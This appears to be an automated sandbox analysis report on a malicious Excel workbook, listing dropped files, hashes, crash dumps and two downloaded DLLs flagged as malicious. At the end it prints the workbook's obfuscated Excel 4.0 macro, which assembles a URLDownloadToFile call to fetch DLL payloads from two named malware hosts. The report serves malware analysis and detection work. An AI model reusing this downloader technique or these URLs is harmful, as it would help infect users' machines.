Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.9.0.3.4.4.4.4.6.9.9.6.3.2.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.6.a.1.e.0.b.-.3.0.c.1.-.4.a.2.6.-.9.6.0.2.-.c.c.e.e.6.4.6.7.d.e.0.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.d.a.7.8.d.b.4.-.1.9.b.0.-.4.4.6.d.-.a.2.c.d.-.4.f.3.3.7.d.4.9.7.1.8.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.g.s.v.r.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.E.G.S.V.R.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.2.c.-.0.0.0.0.-.0.0.1.b.-.3.d.f.c.-.6.5.4.b.2.a.6.9.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.8.8.6.3.0.f.6.0.e.7.3.4.5.4.6.7.0.a.7.d.9.b.6.4.c.9.8.b.4.7.9.8.d.1.d.e.8.8.7.2.!.r.e.g.s.v.r.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.1././.0.4././.0.9.:.1.7.:.2.8.:.2.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3993.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 24 18:52:20 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	34208
Entropy (8bit):	2.6006270724495497
Encrypted:	false
SSDEEP:	192:cUNV+FKctFAK58zi/LWHQMW+N8MLOglhcH8xNzudDnn5z:KKGFAK/6H7GuhcHGNyFn5z
MD5:	17AD30916C50EA6F0F1F9B852E3C23C9
SHA1:	88637E18C09D821EE93D7EA5FF68CB8626F4CE01
SHA-256:	6B0849C5A3AA9AE4DFC4207CD1D074A38AE95B467098D2AF1EB18598856BC9F8
SHA-512:	07F1B9B19DDE2E6DEA46B4F48684F482DF33CDBCEB1110BDEA3CFA3F3230AD2CD9B1734F180900257262739769B2EE8A23974C244EA7CA15D270D0341E600CF9
Malicious:	false
Preview:	MDMP....... .......d..`...................U...........B..............GenuineIntelW...........T...........]..`.............................@..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER400C.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8248
Entropy (8bit):	3.69375614707593
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiDP6iQe6YfCSUDgmfJ7Sqx+pBB89begsfaKm:RrlsNir606YaSUDgmfJ7Sqpezfu
MD5:	1830660BB14C11F682D01FDFCB1A65E7
SHA1:	5D37220F3D7049C206092E9D4ECA4BF2CBADCA9C
SHA-256:	E8072C1D35E368BEB6A0290D2C072B13C15022330BA27C12B35B650917224032
SHA-512:	1C62B2BBB157F583A8BD9CABFA733D4A3F6006F0B073F94BB5775E7BF07E2D8066EC6519488CC987A0A9517A55A2291CB7C5F267AFC683F75A04E1CBE97A85B7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.9.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44C1.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4620
Entropy (8bit):	4.450374572187856
Encrypted:	false
SSDEEP:	48:cvIwSD8zs1JgtWI9+RaPhWSC8B78fm8M4JkH+FhL+q8VYl+0KJYGgd:uITfPxVSNKJCSkoqYGgd
MD5:	A5B1288A547EEE136D2F09E10142DDA9
SHA1:	8B7CBF924B4F1C65A78FA570E69DEFFF5AD42427
SHA-256:	C62F43EE967BF8D6F07D6EEE57C605D9C32A91EFAD615D68E00AC26224DBD6B3
SHA-512:	0F6589301777CFD64F231AF020A1FA792B128057814C80992F455F54C7844B7438508A70CCB45A512C46D753E2100852B4B4F336C4C357FC5937C40F3F2CDD3B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1048563" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD571.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 24 18:54:06 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	34060
Entropy (8bit):	2.6074160567654263
Encrypted:	false
SSDEEP:	192:PlEZpIjo7oukkDRVlGTtW+N8MLOglhcRuIXZina:twIjWllnlGTnGuhcoUga
MD5:	899EA0F9B3658B5A6CBCDE388DDD87EA
SHA1:	E6AE09FDBB78C3574F568F9A66294526E6E07F1D
SHA-256:	85C8876F48013E6696DA42267FA52DB78EB0384C49E73DA89DA49515F50FB894
SHA-512:	2117864D8107504717FC927D62DC45DC6333E43B83C5B4A795C429CF486B7A719681E1716EB038FD8F70A67FF3BFDB2CD4E1056156AADE50E8957167267FB576
Malicious:	false
Preview:	MDMP....... ..........`...................U...........B..............GenuineIntelW...........T.......,......`.............................@..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDBDA.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8248
Entropy (8bit):	3.6920438867043095
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiGH6v6YUhSUUgmfJ7Sqx+pBB89b1zsfHnm:RrlsNi26v6YaSUUgmfJ7Sqp1YfG
MD5:	24537AA59C8A9FD673996B251C39DF65
SHA1:	58403CB37FB659C2946440CB15D403F106872780
SHA-256:	A84B497332A7DB46AE23866DAC6016EE700E45A3847825CB1A6B2B6B36761922
SHA-512:	A181D4B291EEF4D7B7DD194A359384E2F7A7BD490AD891BE0BBB60D125FE0C365EBF984D3C327A59861B09B6CCC227187DE9B573EF3A9663565F8B4FBB9E516C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.0.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE3D.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4620
Entropy (8bit):	4.448979618906682
Encrypted:	false
SSDEEP:	48:cvIwSD8zsQJgtWI9+RaPhWSC8By8fm8M4JkH+Fd+q8VYv0KJYkgd:uITfWxVSNRJCik1qYkgd
MD5:	DF34FAC632E99E2364AA9BF692327B38
SHA1:	012B4B7C31FC1C326FC6E58EFF056F0D608E41EC
SHA-256:	80B809F00095397594C3B5D4068CD96145C915364638AA1EA2A871BE1D06BDEB
SHA-512:	8855D849B6B56E50B6B4DA1FE66C0B980702FBF0D24BB300B7BF93D6EFA22EAA3626FC9F8730E28854493C9917FC2034850741F815AAD57D48B0865551444C98
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1048564" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\A1BC798F-5F72-4EA3-BE7B-898818256BFB Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	134914
Entropy (8bit):	5.367850460063856
Encrypted:	false
SSDEEP:	1536:KcQIKNgeBXA3gBwlpQ9DQW+z7Y34ZliKWXboOidX5E6LWME9:GEQ9DQW+zvXO1
MD5:	03B5A85182D5248D0EB0960BC5338E31
SHA1:	09F017611A33578A990E1F714212B2A4158DE7E8
SHA-256:	6843F38B0F450A390FB39DB999FE2896170EEE8F192D282A49A302A97A17BBE9
SHA-512:	14F73A61113E3833D52310E6FFF76CEDD13B2C5600CB8A7792F72041D84F21E045CF9308F5DE81B11A3D96E498E3214301BD612AFE74E17610D844F367EA6395
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-24T18:51:55">.. Build: 16.0.14222.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7716717F.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 1133 x 589, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	75711
Entropy (8bit):	7.915372969602997
Encrypted:	false
SSDEEP:	1536:gxJQVyZEbrMj34410mHyL9c988gHhX8jCNnKfl5ncT:7br0o45GUgHhX8jC9yST
MD5:	8296338A43942E3107802E3062AC1270
SHA1:	46E67A586ED8A961AF7FD03140547C1CB2BAC227
SHA-256:	BE5F61F2AE8E4C9F9ADBCE5EC33D4C01A331734FFC5818AA8E45CF60456C5ABD
SHA-512:	C2179050A009C990CBFE6EA45E44AA6307AAC938E3EA523D31713F657E09131B07ACEBB31FC353C5A23E7D6323C4EC01736CFF092ACA1D49B58E71A07F1171AD
Malicious:	false
Preview:	.PNG........IHDR...m...M......p......sRGB.........gAMA......a.....pHYs..........o.d....IDATx^......g......q.\|.....<...'r....-^..c.If.,ffX1K.[....Z....V.LO5L..J+...z.]]u..>.==.......................Q..........(.......p.t........8.:.............................g@G........3............Q..........(.......p.t........8.:.............................g@G........3............Q..........(.......p.t......j.7ZP...:...0S....z5T........).WU=j..$H.B.P.)l.6Q..'.l..7..k..J.o..._....6..{C...r.\|2W.[a...m.BI.?...5......D....4;B...@b.HiP.jfj}@.S9..E.J...O..BA5.e:...q!.SP....w....(..._.,..I.\|a.7+>.........A#......3v..37......w(..j...C.R..H3.f.Q....0....h~...)aM..).vQ.1..+J@Q.....Oa+...!5.e.b...V..\|..d../.......vC..&..=9...n.....^6-.tRj...O..{j.e.N....o..~..^.......#!...T...C.#.>.E,[.,......E....h~B.Y./....(2.......(...`....~w#.%..R..{........N.Z....k]8>..dW..^s....U...9...W.e...]...W...i.{u.>.s.,L.>1..)....f..b..Z.nai$.Q.."...W2.......Q...G...z....Ea......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	302512
Entropy (8bit):	6.5099091174634305
Encrypted:	false
SSDEEP:	6144:EYtPEybzPqbV7WQY6n519eBvQfMN46aCsowDvVJa:TtPZ7qbV7XY6nl8IfMNcCHkv/
MD5:	E1CE7B3C5E793A6C5A2BE7801695DB58
SHA1:	633801464F9C064D6BDE4FA568177872F2354532
SHA-256:	2C93B9A196190AD2E08D31102BEC4FC3AC3B6B732D3B5F6EEF3E1BF5FD017C4B
SHA-512:	5AF5CB784AB47208904D8D00BC5EAE9638779FD48D6EDAC3F74301E729131491AA6F46B5545534389F814FA4E9A8DB2175C5F06948D5E5EA1207249C224C2ABD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
IE Cache URL:	https://carpascapital.com/gBPg8MtsGbv/ka.html
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]e.......................$......Rich............PE..L...I..`...........!.........&......1a....... ...............................`....................................... ..Q...4R..d....................................................................................R..4............................code............................... ..`.edata..Q.... ......................@..@.rdataf..#...0...$..................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\ka[1].htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	302521
Entropy (8bit):	6.509780411812991
Encrypted:	false
SSDEEP:	6144:EYtPEybzPqbV7WQY6n519eBvQfMN46aCsowDvVJa:TtPZ7qbV7XY6nl8IfMNcCHkv/
MD5:	35D8C462B24EABCEEB247BF5C6FF07C2
SHA1:	AF7E0EDE0EEB55F094D689E3C493FFAFAFD8A49F
SHA-256:	4ACA6B14EA5A7CD1D61F615D6B0665DA8870981C57DDD10203DD1C2E52D5190B
SHA-512:	56E5E27043E850BEF5ED86419131D2D2100F1A98A58CC68E64325391B96C4D1076F32BAB3D0320F83C0ABC38792AAEB0974E8A5F78ED8F9E1087E150F56378C6
Malicious:	true
IE Cache URL:	https://gruasphenbogota.com/C74hwGGxi/ka.html
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]e.......................$......Rich............PE..L...I..`...........!.........&......1a....... ...............................`....................................... ..Q...4R..d....................................................................................R..4............................code............................... ..`.edata..Q.... ......................@..@.rdataf..#...0...$..................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F5C40000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	113223
Entropy (8bit):	7.875783115355491
Encrypted:	false
SSDEEP:	1536:PKYUOtOpEknvGrnxJQVyZEbrMj34410mHyL9c988gHhX8jCNnKfl5ncVCd:PKY45br0o45GUgHhX8jC9ySVC
MD5:	E7CDABA9352809BC7F9AECA6A7909863
SHA1:	F2591E410316D5970C33974E1E9B5BEAACEB2955
SHA-256:	212B90AE445DFA7DFE07681DAE33A2BDB4AC75305D6F593C1676731B87F40614
SHA-512:	1C216AD9E63291FB9EBCC2F39161CCF670168E9A34837CC8D74487D65BA24214EFF4DB2C8CAFEACB4B2DD0BF9880712DFB76359AE4E0D08F78442DFE1540B6DD
Malicious:	false
Preview:	...N.1....x...h.EUU..h. .>..>.X.M>....3....U......./....#&2.........U/~..h...2x.6x...I\-.>....a..^.9.R....u!..eH.2......By9.}...>..x...;.....z..;..W....W.za\.vyP......h...s..^..jG...u..&.9..#...fz.0.nx1....B.?.1..X....>.uw.P:jq..v4 ..J...E.....$U%...xG...k.ri....oSG1!.j.lWfR.'8..b\|.......L.e>z(....W..@.[.....3.J. .................?N_...X.....".%...W....l.)..W....'r....X.8..@..W..........PK..........!.j.9.............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................MO.0...H......

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	Little-endian UTF-16 Unicode text, with CR line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	2.9808259362290785
Encrypted:	false
SSDEEP:	3:QAlX0Gn:QKn
MD5:	7962B839183642D3CDC2F9CEBDBF85CE
SHA1:	2BE8F6F309962ED367866F6E70668508BC814C2D
SHA-256:	5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
SHA-512:	2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
Malicious:	false
Preview:	....p.r.a.t.e.s.h.....

C:\Users\user\Desktop\~$plan-1053707320.xlsb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	true
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\gihi1.dll Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	302512
Entropy (8bit):	0.011582753180433458
Encrypted:	false
SSDEEP:	3:WlWUqt/vllXl+YZcFTS9gXeF+X32ZpbYtfhZ8hZy+FAv73A/Ol9qnErqDlblthtg:idq2Vg3F+X322ChMQAjQObV66DTyi8G
MD5:	593AD3F06697E915B547987B0E753705
SHA1:	A855AC5D2979AA4782D21B0E8F731AB4ACC56E30
SHA-256:	E2A91304AE5407AE1FC1FD8E4D670543F4191B4A858E4DB13516FFDA1239B421
SHA-512:	39B85662AA13A582987668954A6F8A14755357F00648406282CD8E2DEBB7045E109DBF4E77EB646D7684F4E2657A11F7D9FC64FAA262B4E5E12D331E210BD815
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]e.......................$......Rich............PE..L...I..`...........!.........&......1a....... ...............................`....................................... ..Q...4R..d....................................................................................R..4............................code............................... ..`.edata..Q.... ......................@..@.rdataf..#...0...$..................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\gihi2.dll Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	302521
Entropy (8bit):	0.011582436694389499
Encrypted:	false
SSDEEP:	3:WlWUqt/vllXl+YZcFTS9gXeF+X32ZpbYtfhZ8hZy+FAv73A/Ol9qnErqDlblthtg:idq2Vg3F+X322ChMQAjQObV66DTyi8G
MD5:	57692E0E3077E0016A5038DD174CFD4C
SHA1:	B999DB831EB947D8CAABFDBB00F6BA1CFEFE3697
SHA-256:	B737EBBBF7E6380296E2DF93A6545C528B9B63579124D16EBDB630BC9085F391
SHA-512:	ABB81617B8D80BAFFCE47B1033CD625C3252A427BDE374FE6B01B4EE5B0CA8BB996F8B16BB99E800314BDEF575E046C01D033C57A113E4C5AE7F7F8DC343606E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]e.......................$......Rich............PE..L...I..`...........!.........&......1a....... ...............................`....................................... ..Q...4R..d....................................................................................R..4............................code............................... ..`.edata..Q.... ......................@..@.rdataf..#...0...$..................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.836349486539577
TrID:	Excel Microsoft Office Binary workbook document (47504/1) 49.74% Excel Microsoft Office Open XML Format document (40004/1) 41.89% ZIP compressed archive (8000/1) 8.38%
File name:	plan-1053707320.xlsb
File size:	90078
MD5:	4854b4dcfa441032f2f54bf2834e894f
SHA1:	fa24422834d0f6ce6d3e35a8b0f15a906cdf9823
SHA256:	68741c1f5df351dc186805c2c30a79653fd52ce21e2fb2aa34ff0687120343cf
SHA512:	a51e5f92409f4f5dc564c26b2b95659865ae56cf643ea5bb846cbac56a760374aa16cdb7972819e2a3c816632c2e1834ea65be2848f0a8140ac67eb119125a87
SSDEEP:	1536:OlHoxJQVyZEbrMj34410mHyL9c988gHhX8jCNnKfl5ncjv0/Ci:WDbr0o45GUgHhX8jC9ySa
File Content Preview:	PK..........!..#..............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74f0d0d2c6d6d0f4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "plan-1053707320.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..\gihi1.dll,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..\gihi2.dll,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""https://carpascapital.com/gBPg8MtsGbv/ka.html""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""https://gruasphenbogota.com/C74hwGGxi/ka.html""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,JJ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,URLDow,CC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,nload,BB,,"=FORMULA(before.2.0.0.sheet!BG27&before.2.0.0.sheet!BG28&before.2.0.0.sheet!BG29,before.2.0.0.sheet!BL47)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,To,,,"=FORMULA(before.2.0.0.sheet!BG11&before.2.0.0.sheet!BG12&before.2.0.0.sheet!BG13&before.2.0.0.sheet!BG14&before.2.0.0.sheet!BG15,before.2.0.0.sheet!BL48)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,